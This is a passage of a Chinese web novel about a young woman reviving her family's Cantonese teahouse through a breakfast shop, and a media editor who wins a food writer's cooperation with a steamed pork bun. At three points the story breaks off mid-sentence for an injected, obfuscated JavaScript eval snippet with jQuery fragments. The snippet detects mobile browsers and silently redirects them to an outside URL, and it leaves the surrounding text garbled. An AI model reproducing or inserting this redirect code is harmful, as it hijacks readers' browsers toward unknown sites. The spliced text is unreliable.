于是她又努力在脑海中挖掘一些梁修文过去的文章,对着他大谈特谈自己的读后感,餐桌上唾沫横飞,徐梦是越说越激动,越说越感慨,说到最末还抹了抹泪,“我知道您多半不会答应和我们合作,但今天能够和您见上一面,我的心愿已了。”
说完这话,徐梦自己都起了一身的鸡皮疙瘩。
梁修文喝了一口咖啡,将面前的文件夹合上,“你的提案我详细看过了,我需要回去考虑一下。”
正在打腹稿的徐梦,还准备再说些什么,可听见这话后,心底泛起一丝凉意。
之前米莱和陈琛都提过,说完这句需要回去考虑的话后,梁修文就没再联系过他们了。
也就是说,自己准备了一周,还是被拒绝了。
徐梦浑身一凉,前几天她还信誓旦旦地跟刘兆康说走着瞧,可现在……
要是拿不下梁修文,频道半年的商务可都没了啊!
之后梁修文又说了什么,徐梦已经不记得了。
她一个人坐在咖啡馆里,呆呆地低着头,手上拿着小铁勺,不断地搅动着杯子里的黑咖啡。
然后,眼前的视线突然开始模糊起来,渐渐开始有冰凉的水滴,掉落在她的鼻梁上。
“徐编辑?徐编辑?你没事吧?”
徐梦回过神来,抬起头,才发现梁修文站在自己面前,朝自己递了一张纸巾。
她慌了慌神,连忙接过纸巾,低下头擦了擦泪,“我、我没事,谢谢你。”
梁修文重新坐在她的对面,想了一会才说,“这样吧,我想问你一个问题。”
“最近这半个月,你吃到最好吃的一样东西是什么?”
……
三个小时后,徐梦失魂落魄地回到办公室,面对米莱和陈琛的眼神,她眼眶一红,鼻尖一酸,低下头道,“我、我对不起你们,我把所有的事情都搞砸了!”
米莱赶紧上前搂住她,“怎么了,没事的,中午我们出去大吃一顿好不好?”
可谁想到,徐梦听到这话哭得更厉害了,眼泪鼻涕止不住地往外流,“都是我不好,我怎么那么笨啊,小米你要不把我奖金扣了吧!”
看徐梦哭得撕心裂肺,陈琛和米莱对视了一眼,都从对方的眼中看到了疑惑。徐梦只不过是出去见了一趟梁修文,怎么回来就伤心成这样了?
“梦梦,到底发生什么事了,你别怕,是不是梁修文欺负你了?”
陈琛也着急问道,“是啊,要是他欺负你,我一定帮你出气。”
“不是,不是,”徐梦赶紧摆手,擦了擦脸,含着泪说,“是我彻底把梁修文得罪了!”
“什么!”
双双震惊的米莱和陈琛,在徐梦的讲述中,才知道今天早上到底发生了什么事。
二人听到梁修文问出那个问题后,都急得抓耳挠腮,“所以你答了什么?”
徐梦咬着唇不敢说,最后才小声说道,“我把口袋里的生肉包送给了他。”
米莱和陈琛双双瞠目结舌:“啊?”
见二人的神情如此,徐梦原本止住的眼泪,又冒了出来。当时听见梁修文这样问,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507283|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
徐梦一下子就懵了,可她知道,这就是他特意出的考题,要是自己答得好,说不定就能有机会。
但那个时候,她实在是太过紧张了,脑子就像一台生锈的机器,完全停止了转动,压根没法思考,浑身上下也僵住了,只有饥饿的胃,还在不断地收缩着,隐隐作痛。
就在这个时候,徐梦想起来了包里放着的那一袋早餐。
当时她脑子一片空白,什么都想不起来了,不知怎么就说起了小区附近的那家早餐店。这一下子,她就宛如打开了话匣子一般,从香煎玉米饼说到咸水角,又说起咸煎饼和流沙包,最后提起了今天刚买的生肉包。
徐梦的声音越来越小,“他对我说的话还挺感兴趣的,然后又问我生肉包味道怎么样,我就干脆把生肉包送给了他。”
想到这里,徐梦突然担心起来,那两个生肉包,自己都没尝过什么味道呢,就这样直接送给了梁修文。
要是不好吃的话,梁修文肯定会觉得自己的品味很差,对“小米食饭”的印象就更不好了。
不过那家早餐铺的东西一向都很不错,应该不至于难吃到哪里去吧?
陈琛听完整件事的来龙去脉后,心里报着的那一丝希望,终究是破灭了。
就一个生肉包,能有什么特别的?怎么可能打动梁修文?
就算那个生肉包味道不错,生肉包就只是一个平平无奇的生肉包啊,不是皇帝蟹,也不是龙虾,怎么做也做不出花来。
而米莱倒是觉得,徐梦做得不错。
那些山珍海味想必梁修文早就吃过了,或许早就没有了新鲜感,而且他许多篇美食散文中,都有提到那些充满烟火气的市井小吃。说不准,另辟蹊径的生肉包真的能打动他呢?
不管心里如何想,两人都对哭泣的徐梦连连安慰,带着她去了楼下新开的高档西餐厅吃饭。
而徐梦送包子一事,很快就在蒸汽传媒内部传开了。
茶水间里,大家都在议论纷纷,绝大部分人的言语中都是奚落与讥讽,剩下少部分的人则开始担心,这一回会不会害得以后公司的商务合作大大减少。
现在得罪梁修文已是事实,也没办法挽回了,对于蒸汽传媒来说,损失其实没有很大,毕竟他只不过是小有名气而已。再说了,美食作家跟自媒体,还是两个赛道,互相影响不大。
但若是甲方那边知道了这事,心里会怎么想?
在这么重要的项目上,竟然发生了如此荒诞的事。要是这事传了出去,原本有合作意愿的公司会不会觉得,整个蒸汽传媒上上下下都跟米莱小组如出一辙,压根就不靠谱?
一时之间,全公司都在议论米莱频道的事情,有的人忧心忡忡,更多的人则是抱着看好戏的心态,一边讥讽米莱和徐梦,一边忙着给刘兆康拍马屁。
毕竟,现在米莱团队已经得罪了梁修文,那“康记探店”频道拿下梁修文的概率,岂不是大大增加了?
要是“康记探店”真的谈成了合作,这美食部未来半年的商务,可都是刘兆康的囊中之物了!
25. 神秘食客
刚吃过午饭的刘兆康,叼着一根牙签从外头走了进来,立刻就有人朝他递上一杯泡好的龙井,“刘哥来啦!我知道你爱喝茶,这茶是我从杭州的朋友那里买来的,您尝尝?”
“刘哥,之前我们频道跟你们合作过几次,很多粉丝都想看我们两个互动,什么时候有空喝喝茶?”
“刘哥,发达了别忘了兄弟我啊!”
……
刘兆康细小的双眼笑得眯成一条缝,心里得意极了。
一想到未来半年会有源源不断的商务合作找上门,他就兴奋不已,连商务合作得来的钱要怎么花他都想好了。
而反观米莱组,可是要喝半年的西北风了!
他咧开嘴笑,“好说好说,了解我的人都知道,我一向都是个很大方的人,有好酒好菜,肯定跟大家一起分!”
“大家也可以放心,我呀,绝对不是那种会把生肉包当成宝贝的人,绝对不会亏待大家的!”
众人听闻,顿时哄堂大笑。
刘兆康身旁的一个人开口道,“也就那种没见过世面的乡巴佬,才会把生肉包夸上天,说出来真是笑掉大牙。”
“就是就是,我听说那个女的一顿能吃五碗饭,什么难吃的都能吃下去,我看她,怕是没吃过好东西吧!”
“就这样还能做美食频道?我看请她的老板也是眼瞎。”
“她们频道不就这样,喜欢去那种街坊小店拍,吃过几家米其林?”
刘兆康抽了口烟,轻笑点头,“那也不能这么说,年轻人嘛,自然是没什么经验的,大家也不要说得太难听了,还是得给她们一些机会才好。”
“再说了,我们这些老人还是得多去尝试新鲜的事物,才能赶得上时代潮流,以后可都是人工智能的时代啦,”他呵呵笑了几声,掏出手机,“最近我就报了个培训班,学了一下怎么使用人工智能。”
众人围过去一看,手机锁屏上赫然是一张刘兆康被六个美女簇拥的图片,而图片的右下角,写着一行字,“菜包AI生成。”
“哇塞,刘哥真牛啊,都会用人工智能了!”
“我看这生成的图片,还没有刘哥本人好看咧!”
在众人的吹捧之中,刘兆康叼着烟,飘飘然地走出了茶水间。
还没走几步,就看见自己的下属急匆匆地跑来,“刘哥,不好了,不好了!”
“怎么了,慌慌张张的像什么样子!”
还没等下属开口,电梯厅“叮”地一声响了起来,米莱和陈琛带着徐梦也是急匆匆地往办公室赶,可三人的脸上,却都带着控制不住的喜气。
就在五分钟前,商务部的邮箱收到了一封来自梁修文的邮件。
邮件里第一句话是,“徐编辑,您送的生肉包十分美味,冒昧问一句,您的这个生肉包是在哪一家买的?”
第二句,“下周我们约个时间,再详谈一下这个项目吧。”
等米莱三人吃过饭回来,蒸汽传媒上下都炸开了锅。
许多平日没什么来往的同事,竟主动跟徐梦打起了招呼,又是塞点心又是塞奶茶的,嘴巴里的好话就没停过。
这些人的心里,都和陈琛有着同样的疑惑,他们在意的自然不是梁修文,而是徐梦到底有什么特殊的商务洽谈技巧。
在众人的围观之下,既紧张又激动的徐梦再次说起了今日发生的事。
可听到生肉包出场,众人脸上的疑惑骤现,不是,怎么还是生肉包啊?
一个普通的生肉包,真能有这么大的威力?还是这生肉包只是徐梦用来迷惑众人的烟雾弹?
这个平日里不怎么说话,总是默默干活的女孩,在众人的心里又多了一个标签:颇有城府。
尽管众人都心有疑虑,可依旧不妨碍大家对着徐梦三人说尽吹捧和亲近的话,毕竟谁都知道,未来半年美食部的大部分商务,很有可能要归“小米食饭”所有了。
于是么,自然也有好事的人转过头去看默默坐在一旁的刘兆康。
刘兆康叼着一根没点的烟,坐在不远处,冷眼看着米莱三人。
一个小时前,自己在茶水间被众人簇拥的一幕,似乎已是上个世纪的事情了。
在众人的注视与议论下,刘兆康笑着道,“合作的事情还没定,你们组也别高兴得太早了。”
陈琛淡淡地说了句,“之后的事情,就不劳烦刘哥你费心了,刘哥还是多关心自己频道吧,毕竟要喝半年的西北风,可是不容易啊。”
刘兆康故作淡定,摆摆手说,“哎呀,我正烦恼商务太多拍不过来呢,现在正好,一身轻松了。”
在众人探究的目光下,他走回了办公室。等门关上后,他的脸色瞬间阴沉了下来。
这完全不科学啊!梁修文怎么会因为一个生肉包而被说动!
眼看着米莱跟梁修文搭上了关系,刘兆康的心里那叫一个急,催促手下继续给梁修文发电子邮件。
可一个星期过去了,梁修文还是没有同意和刘兆康见上一面。
这一局,是自己败了。
门外,米莱正和梁修文打着电话商量合作细节。
刘兆康坐在办公室内,脸色阴沉。
不是不报,时日未到,总有一天,曾经失去的一定要让这三个人加倍地还回来!
……
周六的晚上,从美食广场摆完摊回来的夏咏恩,瘫在了西关大屋的酸枝木椅上。
她身旁的椅子上放着几十个购物袋,都是何玉强今天的战利品。
“这套睡衣可好穿了,今天遇上商场买一送一,我就给你挑了一件,这个款式怎么样?还不错吧?”
“当时为了凑单就买了这对鞋子,但是鞋码不合适我,你要不要试试看怎么样?”
“这个洗手液我买了之后才发现我家里还有,这瓶多的要不你就拿回去吧?”
夏咏恩看着何玉强跟哆啦A梦一样从购物袋里掏出各种各样的东西,赶紧制止住她,“停停停,你到底买了多少东西,该不会这些都是要送给我的吧?”
“谁说都是给你的,我才不舍得咧,剩下这些都是我的。”
何玉强把购物袋收了起来,默默嘀咕道,看来其他礼物只能下次再送了。
两个人洗完了澡躺进被窝,何玉强拿出一支护手霜,凑到夏咏恩的身边,“这个味道可香了,你快闻闻。”
夏咏恩接过护手霜擦了起来,耳旁传来好友的碎碎念,缓缓转动的风扇让房间里的熏香扩散开来,将薄被子浸染出一股淡淡的木头香气。
一呼一吸之间,整个人似乎都放松了下来,沉重的身躯也轻快了不少。
她习惯性地点开了系统,进了无界空间。
何玉强撕开一张面膜,“下个月不是校庆嘛,有个跟我相熟的学长,说想在花城组织一场校友聚会,你要不要去啊?”
过了好一会,她却没听到任何人回应。
转头一看,才发现夏咏恩就这么睡了过去,手机里的视频还在播放着。
何玉强顿时心疼不已,蹑手蹑脚地走过去,想给她盖上被子,可一番动静很快就让夏咏恩醒了过来。
两人对视了一眼,夏咏恩尴尬地笑了笑,“我刚刚是不是睡着了?”
“是啊,早知道你这么累,我就不让你来陪我睡觉了。”
眼看好友露出愧疚的神色,夏咏恩赶紧说,“没事,我不累,我就是……觉得上下眼皮这么合上还挺舒服的,要不你也试试?”
一分钟后,屋子里陷入一片黑暗。
被窝里的夏咏恩发出无声的叹息,好吧,看来以后真得独处才能进无界空间了。
周日一早,何玉强跟着夏咏恩去美食广场摆摊,留下珍姨一个人看铺。
刚开始摆摊的时候,夏咏恩还觉得有点累,但摆了两个月早就习惯了,现在拉着一大车的东西走上两公里,一点喘都不带的。
不过,何玉强看着夏咏恩拉货的模样,再看她额头上脸上豆大的汗珠,心疼得不得了,当下就提出要帮忙。
只是还没拉几百米,何玉强就觉得手臂要酸死了,可方才夏咏恩怎么就那么轻松?
“好啦,还是我来吧,你帮我拿着这两张红凳子,顺便帮我在前面开路。”
今天是何玉强第一次陪夏咏恩出摊,原本她只是抱着玩的心态来的,反正摆摊嘛不就是卖货收钱,也没有什么难的。
可等真的来到美食广场,眼前热火朝天的景象让她不禁看愣了。
光是安抚好面前等待的客人就是一个难题,更别说还要记住每个人要的是什么,甚至有时还要跟蛮不讲理的客人斗智斗勇。
何玉强以为,自己追星许久独自闯荡这么多个国家和城市,已经是见多识广了,可面对这样的情况,仍是有些束手无措。
然而身旁的夏咏恩,却一直都是不慌不忙的,时不时还安慰何玉强几句,“你累不累呀?要是累了就去歇一歇,这里由我来干就行了。”
坐在摊位
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507284|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后的小板凳上,何玉强压根提不起玩手机的兴致,只是托着腮看夏咏恩卖点心。
本来是想来帮忙的,可怎么感觉给夏夏添乱了?
看着夏咏恩熟练叫卖的模样,何玉强的双眼渐渐露出崇拜之色,小夏好厉害啊!
曾几何时,自己记忆中的那个还有些青涩的姑娘,现在已经可以独当一面了,应对客人的刁难时也是气场全开。
看来,虽然小夏厨艺不精,可对于经营一事还是很有经验,以后茶楼的生意,肯定不会差到哪里去。
好不容易等到了一点左右,美食广场的客流才少了一些,夏咏恩和何玉强立马抓紧时间吃饭。
夏天天热,也带不了珍姨做的饭菜,便打算在现场随意买点吃的。
何玉强一眼就看中了对面的烤串摊,拉着夏咏恩走了过去。
烤串大哥见是夏咏恩来了,连忙热情招呼道,“大妹子,你看看想吃啥,哥给你打折!”
这几个星期,烤串大哥可算是吃美了。从马拉糕到白糖糕,咸水角到咸煎饼,流沙包到生肉包,他是都吃了个遍,现在来摆摊首要目的是吃夏咏恩的点心,其次才是赚钱。
九月份的花城天气还热得厉害,夏咏恩没有什么胃口,就挑了一个烤茄子,配冰镇的酸梅汤,何玉强则要了大哥的拿手菜,火爆烤鱿鱼。
趁着大哥烤串的功夫,夏咏恩顺口问起,“对了,我隔壁的那对卖酱香饼的夫妻是不做了吗?”
今天过来,她就发现隔壁的摊位上变了个样,挂上了中药奶茶的招牌。
烤串大哥一边翻动着烤架上的鱿鱼,一边说,“前几天就没来了,我听说是那男的送货被车撞了,现在还在医院里躺着,他老婆就没空管铺子了。”
夏咏恩皱眉,“出了车祸?”
“是啊,听说他俩也挺不容易的,不过具体的我也不知道了。”
前阵子还好好的人,突然就出了意外,夏咏恩顿感唏嘘。
她记得自己刚开始摆摊的那会,这对夫妻给过自己不少帮助,现在自己的境遇好了一些,或许可以帮一帮别人。
而就在夏咏恩和何玉强在美食广场摆摊之时,有一个陌生的身影来到了早餐铺门前。
正低头炸着咸煎饼的赖美珍连忙抬头招呼,“帅哥,你想吃点什么?”
“这里,有生肉包卖吗?”
“有有有,你来得正好,我刚蒸好一笼,”赖美珍掀开蒸笼,“这都是我们每天早上起来做的,纯手工制作,绝对好吃!”
“那我要一个生肉包,除了包子之外,还有别的推荐吗?”
赖美珍眼前一亮,看样子是个大客户啊!于是,她叉起了腰,把店里所有点心都介绍了个遍,“帅哥你也别嫌我啰嗦,实在是每一样都很好吃咧,你让我挑我还真是选不出来!”
店铺前的男人笑了笑,“那我再要一个流沙包吧。”
等两个热腾腾的包子交到男人手里时,他先是轻轻捏了一捏。包子外皮有些弹性,并不是那种软绵绵的质感,而对比起流沙包来说,生肉包的个头要大一些。
男人只是咬了一口,就吃到了里头满满的肉馅,滚烫的肉馅在口腔不断滚动,快速咀嚼之下竟能吃到一些鲜美的肉汁。
肉馅的配料其实很简单,不过就是肥瘦相间的猪肉滑,配上葱花和香菇,但还加了一个外地并不常见的配料,那就是沙葛。
切成粒的沙葛混在肉馅中,咀嚼的时候能吃到脆甜脆甜的口感,而且沙葛本身就有汁水,和肉汁混在一起显得猪肉更为鲜美。
软弹的面皮被肉汁完全激发出小麦的香气,两种不同的香气经过蒸制,完美地融合在一起。
他双眼一亮,忍不住低声惊呼,“果然,热的生肉包更好吃。”
赖美珍见他吃得高兴,心中也很是满足,“我跟你说,这生肉包可好卖了,自从上市每天都能卖出去三四百个。”
男人走上前问道,“靓姨,您做的包子真的很好吃,我想,比很多茶楼卖的都要好。”
“哎呀,你搞错啦,我哪里有这种能耐,这包子是我们老板做的。”
“你的老板?”男人的眼中闪过一丝疑惑。
“我们老板刚刚才大学毕业的,就回来接管家里的生意啦,呐呐呐,这些点心都是她做的,她可厉害啦。”
看着面前的早餐铺,和身后那块“荣兴楼”的牌匾,男人陷入了沉思。
荣兴楼,什么时候出了一个年轻的点心高手?
26. 食客认可度
等夏咏恩和何玉强摆完摊回来,已经是晚上十点多了。
两个人都没有吃晚饭,饿得是前胸贴后背,而餐桌上已经摆好了五道菜,分别是蒜香鸡翅、韭黄滑蛋、瑶柱焖节瓜、豉汁蒸排骨、蒜蓉炒菜心,旁边还有一锅党参麦冬乌鸡汤。
何玉强两眼放光,“这些菜,看着就好吃啊!小夏,你过得也太幸福了吧!”
珍姨有些不好意思,“就是家常菜而已,也不知道你能不能吃得惯。”
“就是要家常菜才好吃!”
自从何玉强当上站姐后,常常就在各个城市和国家之间奔波,舌头都快被预制菜腌入味了。
好不容易能吃上一顿家常菜,她都激动得快要哭了。
她左手夹了一个鸡翅,右手捧着碗,一大碗米饭上盖了一层鲜嫩的滑蛋,一条青绿的菜心,两块被酱汁浸透的节瓜,嘴里还嚼着一块排骨。
果然自家煮的就是好吃!光是这胖乎乎的白米饭,她都能吃上三碗。
尽管每一样菜都不是那种令人吃了之后大呼惊艳的,但就是有一种朴素的好吃。
而那一锅党参麦冬乌鸡汤,则是珍姨特意为夏咏恩准备的。
从何玉强口中得知昨晚夏咏恩又昏睡过去的珍姨,捧着心口直道,“哎呀,这可怎么办才好啊,不行,我得继续给你煲汤。”
顶着两人心疼的目光,夏咏恩无奈地喝完了汤,一边吃着汤渣一边查看经营系统弹出来的消息。
这一周上新的流沙包和生肉包,填补了之前品类中的空缺,一经推出就卖得特别好,每天早上光是包子都要卖出去两三百多个。
因此,这一周营业额要达到3000元的阶段任务,倒是很轻松就能完成了。
【恭喜宿主完成任务!解锁“奶黄包”“核桃包”配方】
看见系统刚刚解锁的配方,夏咏恩心中一喜,包子一向好卖,看来下一周的营业额又能翻一番了。
按照前两周的阶段任务推算,这一周的阶段任务应该是营业额要达到4000元,现在自己手上可是有四款包子,4000的周营业额怕不是轻轻松松就能完成?
可系统跳出来的提示让夏咏恩傻了眼。
【阶段任务已更新:为了尽快重开荣兴楼,请让荣兴楼在十五日内获得1000名食客的认可】
初看,夏咏恩信心满满,现在早餐铺生意不错,这个任务很容易完成嘛。
再一问系统才发现,这1000名食客不可重复认可,也就是说,除了现在每天固定光顾早餐铺的人,必须要让更多的人购买早餐才行。
可现在每天来早餐铺的人,顶了天也就一百多个,如果加上学校那边还有美食广场的食客,总共也就七八百人。
抓耳挠腮的夏咏恩重新研究了一下新的系统任务,才发现系统特意限定,食客的认可是要针对荣兴楼的。
看到这里,她忽然心下一沉。
要不是这个任务提醒,恐怕自己根本不会发现,这几个月来,都忽略了一件十分重要的事——
忙活了这么久,自己却一直都没有在食客心目中建立他们对荣兴楼的认识度啊!
美食广场的食客只认摊位,中学的学生只认自己这个人,早餐铺虽然就开在荣兴楼门口,可早上来买的客人,恐怕都不会留意身后那块挂得高高的牌匾。
也就是说,虽然自己做的点心很受欢迎,但荣兴楼这个名字,还没有在食客的心目中,与自己、与早餐铺画上一个等号。
当务之急,必须让老食客们对荣兴楼有初步的认识,这不仅是完成任务的要求,更是之后重开茶楼的必须。
现在在学校、早餐铺、美食广场的固定食客已经不少,等未来荣兴楼重开,这些老食客将是十分珍贵的一批客源。
虽然说,客源的转化率很难保证,但首先得让大家都知道,这些点心都是荣兴楼的出品,自己就是茶楼的代表。
吃过饭,她问起珍姨,“荣兴楼之前有没有什么商标啊,或者是招牌之类的?”
赖美珍想了想,很快就摇了摇头,“曾经孙主厨提议想要搞一个,但这事被方老板否决后,就一直没有下文了。”
夏咏恩陷入沉思,这附近的茶楼大大小小也有七八间,名字嘛都是取的兴旺发财的寓意,跟荣兴楼有些类似。
所以,光是荣兴楼这个名字很难给食客留下独一无二的印象。
不过,一个醒目的商标就不同了,走过路过看那么一眼,就能在食客心里种下一个锚点。
看来,自己得在商标一事上下点功夫。
一旁喝汤的何玉强抬起头,“夏夏,要不我帮你设计吧,反正我闲着也是闲着。”
夏咏恩惊讶,“真的吗?你还会设计商标?”
何玉强轻哼一声,挑眉说,“那是自然,为了追星,我现在都成十项全能了!”
她掏出电脑,打开Photoshop,把屏幕转向夏咏恩,“说吧,想要什么元素,什么风格的?”
三日后,早餐铺的玻璃柜台前多了一个醒目的商标。
商标主体是一个镂空的岭南花窗,花窗里头有一个小茶盅,还有一笼虾饺,一支木棉花从花窗外伸了进来。花窗底部还有三个用篆体写的“荣兴楼”字样。
夏咏恩已经订制了相关的印刷品,以后在美食广场和学校的摊位前都能看见这个醒目的商标,冯姐那边自然是同步跟进。
时间很快就到了早上九点,夏咏恩看了一眼任务进度。
【食客认可度(80/1000)】
看见店门前来来往往的行人,她不由得叹了一口气,早餐铺又不像其他的店,来光顾的基本上都是附近的居民,除了美食爱好者,也不会有人大老远跑过来就为了吃一口早餐吧。
果然一整天下来,积攒的认可度也只有145。
而经过一周的时间,在学校和美食广场积攒的食客认可度加起来才789。
虽然这个数字距离完成任务只差两百多了,可按照现在的情况来看,除了美食广场的客源是流动的,学校和早餐铺的食客大概率已经固定,未来一周增加的人数并不会太多。
现在距离任务截止还有八天,夏咏恩看了看日历,下周日正好是中秋节,周六周日周一连休三天。
既然如此,恐怕中秋假期会有不少人来美食广场,不愁没有新的食客,完成系统任务基本上是没什么问题的。
只是,她不想把希望完全寄托在美食广
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507285|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
场那边,毕竟美食广场的客源太不固定了。
而且中秋假期离任务截止的时间挨得很近,万一那三天天气不好,来美食广场的人自然就少了,那系统的任务可就完不成了。
为了保险起见,还得拓展新的客源。再说了,这也不单单是为了完成任务,现在积累的老食客越多,之后等荣兴楼开业,能被转化来的食客才能越多。
夏咏恩又打开了手机地图开始研究,只是这一回,她久久都没有什么新的思路。
何玉强开口提议,“要不去地铁站附近摆摊?”
夏咏恩仔细想了想,摇了摇头,“这附近都是老城区,早上进出地铁站的人有一半都是去买菜的叔叔阿姨,他们不会来买我的早餐的。”
“再说了,地铁站附近也有卖早餐的,我可不一定能竞争得过他们。”
赖美珍又说,“那我们去别的中学门口摆摊?”
“虽然可以短期解决客源的问题,但是这些小孩子很难转化成茶楼的食客,而且其他中学离我们茶楼也不是很近,似乎没必要费这个功夫。”
毕竟要是一家人想要出去喝早茶,去哪一家茶楼通常都是由家里的长辈决定,小孩子也只有乖乖听从的份。
总之,想要拓展客源必须有的放矢,不能像无头苍蝇一样到处乱撞。
而且她觉得,现在美食广场、学校和早餐铺的食客都只是附近的居民,再远也出不了这个区,要想之后茶楼的生意红火起来,还得吸引更多人才是。
思索间,已到了深夜,夏咏恩只好按下纷飞的思绪,上床休息。
隔日一早,早餐铺照常开门。夏咏恩时不时就打开系统查看,发现几个小时下来,食客认可度只涨了两点。
她正发愁的时候,不远处一个熟悉的身影,蹦蹦跳跳地走进了早餐铺。
徐梦笑着说,“老板!给我来二十个生肉包,十六个流沙包,豆浆和鸡蛋分别要六个。”
趁着打包的间隙,夏咏恩和徐梦聊起了天。
徐梦是早餐铺的常客,夏咏恩一直都多有留意,再加上前不久徐梦提过一嘴,她靠着生肉包解决了一次工作上的困难,连工资还涨了。
因此自那之后,两个人就亲近了起来。
“你最近每天都买这么多早餐,是给别人带的吗?”
徐梦点了点头,为了让大家相信生肉包到底有多好吃,她便自费买了几个给办公室里的同事尝尝。
没想到那几个吃过生肉包的同事,竟都被这小小的生肉包收服了,吃得那叫一个赞不绝口,搞得其他人也纷纷请求徐梦帮忙代购。
无心插柳柳成荫,要吃生肉包的同事越来越多,她就这么稀里糊涂地开启了代购的副业。
原本她还想出了限购的法子,可架不住有的同事苦苦哀求,她也不好拒绝。
为了方便通勤,她还拉了一个买菜用的小推车,来把生肉包带去公司。
夏咏恩倒是没有想到,自己的早餐铺都发展出代购了。
可等徐梦离开后,夏咏恩稍微一琢磨,便回过味来了。
有人求代购,那就表示,徐梦上班的地方有需求啊!
夏咏恩一拍桌子,激动地看向珍姨,“我有办法了!”
27. 团购计划
现在徐梦的同事既然有这样的需求,那要是搞个团购,专门把早餐送到徐梦的公司楼下,不但能够方便这些上班族,同时也能替自己拓展新的客源。
而且,这团购的事业不仅可以在徐梦的公司里做起来,写字楼里的其他楼层,甚至其他写字楼,也是团购的目标人群啊!
夏咏恩赶紧打开地图研究,她记得,徐梦上班的地方是在天穗区的荔江新城。
天穗区是花城着重发展的新城区,荔江新城则是整个花城的CBD,花城塔就在荔江新城的对岸。
整个荔江新城里,起码有十几栋高端写字楼,徐梦的公司就在其中,这些上班族里,总会有人想要吃早餐的吧?
她心里激动坏了,这可是一大片蓝海啊!
早餐铺毕竟是一个固定的地点,吸引的人群只有附近的住户,很难吸引其他地方的客源。
但如果在写字楼附近搞个团购,那可就不一样了。
不管这些白领住在哪里,他们工作日的目的地永远是公司,而直接送上门的高品质新鲜早餐正契合这群快节奏生活人群的需求。
激动之余,夏咏恩还是强迫自己冷静了下来。
首先,这个想法虽然很好,但毕竟只是一个想法而已。
自己没有去过实地考证,也没有经过市场调研,判断周围是否有其他的竞争对手,绝对不可以太过飘飘然。
虽然现在早餐铺的生意逐渐稳定,但荣兴楼还欠着二十万的债,可还没有那个本事胡乱挥霍辛辛苦苦赚回来的钱。
其次,要想做团购,人手和系统都是一个大问题。
现在每天自己和珍姨都得看铺子,哪里腾得出人手去送点心。
而且如果要做团购,恐怕得搞一个小程序,让食客们前一天提前下单,这样才好准备第二天要的点心,毕竟这么远的地方,自己把所有点心都搬过去也太不现实了。
最后,就是最重要的运输问题了。
荔江新城离荔芳区有二十多公里,光是开车都要半个小时以上,可现在荣兴楼没有车,要怎么把点心运过去呢?
夏咏恩刚刚激动的心情很快又恢复了平静,不管怎么说,这个想法还是很好的,至于具体要如何做,就得一步一步来了。
想要知道荔江新城是否有足够的早餐缺口,最直接的方法肯定就是问在那里上班的人。
她依稀记得,李敏瑶好像就是在荔江新城上班的。
想到这里,她赶紧翻开李敏瑶的朋友圈查看了一遍,确认她的设计公司就在荔江新城里面的国际金融大厦。
夏咏恩在文本框里编辑了一番后发送了消息,十分钟后,李敏瑶就回复了几十条内容,“那太好了,我跟你说我们公司这附近真的没什么早餐店,我很多同事要么就在家那边买,要么就干脆不吃了。”
李敏瑶所在的国际金融大厦与两个大的商场以及一个地下商业街联通,里面不少餐饮店为了迎合白领的需求,也有推出早餐售卖。
只是寻常人根本不会去买,因为价格实在是太贵了!
“你都不知道,两个肉都没多少的小笼包它能卖我十五,一个mini肠仔包加一杯美式还要二十五,怎么不去抢啊!”
想起公司附近的高物价,李敏瑶就忍不住疯狂吐槽。
或许是因为花城CBD的名头,许多人都觉得在这里上班的白领一定都是那种精英中的精英。所以刚到这里上班那会儿,为了契合这个“精英”的身份,李敏瑶也跟着其他同事一起,天天吃贝果喝咖啡当早餐。
到了月底一看,早上光吃早餐就花了一千多,而午饭的花销更是夸张,随随便便一碗拉面就要四五十,一个月下来,工资所剩无几。
她也不是没试过自己做早餐,可早上实在是爬不起来,因此后面她都选择买连锁快餐品牌的早餐卡,一个月算下来还划算些。
直至夏咏恩的早餐铺开业后,李敏瑶才终于吃上了又便宜又美味的早餐。
得知这个情况,夏咏恩又给徐梦发了消息询问,徐梦的回答和李敏瑶差不多。
夏咏恩眼前一亮,看来团购一事,确实有搞头。
不过,别人说得再怎么好,也还是得自己去实地探访一遍才行。
她在纸上列出了接下来的计划,首先要确定的是,荔江新城到底有多少写字楼,写字楼内分别有多少层,估算大概有多少间公司。
其次,针对荔江新城的餐饮情况进行调查,尤其是那些出售早餐的餐饮店,得看看这些早餐的价格和品类。
最后,就是得找一个适合的位置,最好离地铁站和几个大的写字楼不远,方便这些白领前来取餐。
何玉强看完整份计划书,大为震惊,“小夏,这得调查多久啊,你也太厉害了!”
这几天见夏咏恩一直在琢磨团购的事,她还没当回事,以为只是拓展一下店里的业务,也没有什么大不了的。
